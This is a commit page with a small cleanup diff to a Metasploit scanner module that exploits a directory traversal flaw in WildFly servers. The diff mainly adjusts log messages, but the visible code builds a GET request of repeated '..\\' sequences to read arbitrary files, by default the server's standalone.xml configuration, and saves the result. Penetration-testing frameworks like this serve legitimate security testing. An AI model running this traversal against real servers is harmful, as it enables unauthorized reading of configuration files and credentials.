Skip to content

Commit 47acf34

Browse files
committed
Do minor cleanup
* Prepend peer * Use print_good when file downloaded
1 parent e4b3ee2 commit 47acf34

File tree

1 file changed

+5
-5
lines changed

1 file changed

+5
-5
lines changed

modules/auxiliary/scanner/http/wildfly_traversal.rb

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -33,7 +33,7 @@ def initialize(info = {})
3333
register_options(
3434
[
3535
Opt::RPORT(8080),
36-
OptString.new("FILEPATH", [true, 'Full path to the file to read', 'standalone\\\\configuration\\\\standalone.xml'])
36+
OptString.new("FILEPATH", [true, 'Full path to the file to read', 'standalone\\configuration\\standalone.xml'])
3737
], self.class)
3838

3939
register_advanced_options(
@@ -45,13 +45,13 @@ def initialize(info = {})
4545
end
4646

4747
def run_host(ip)
48-
print_status("Attempting to download: #{datastore['FILEPATH']}")
48+
print_status("#{peer} - Attempting to download: #{datastore['FILEPATH']}")
4949

5050
traversal = "..\\" * datastore['TRAVERSAL_DEPTH']
5151
res = send_request_raw({
5252
'method' => 'GET',
5353
'uri' => "/#{traversal}\\#{datastore['FILEPATH']}"
54-
},)
54+
})
5555

5656
if res && res.code == 200
5757
vprint_line(res.to_s)
@@ -64,9 +64,9 @@ def run_host(ip)
6464
res.body,
6565
fname
6666
)
67-
print_status("File saved in: #{path}")
67+
print_good("#{peer} - File saved in: #{path}")
6868
else
69-
print_error("Nothing was downloaded")
69+
print_error("#{peer} - Nothing was downloaded")
7070
end
7171
end
7272
end

0 commit comments

Comments
 (0)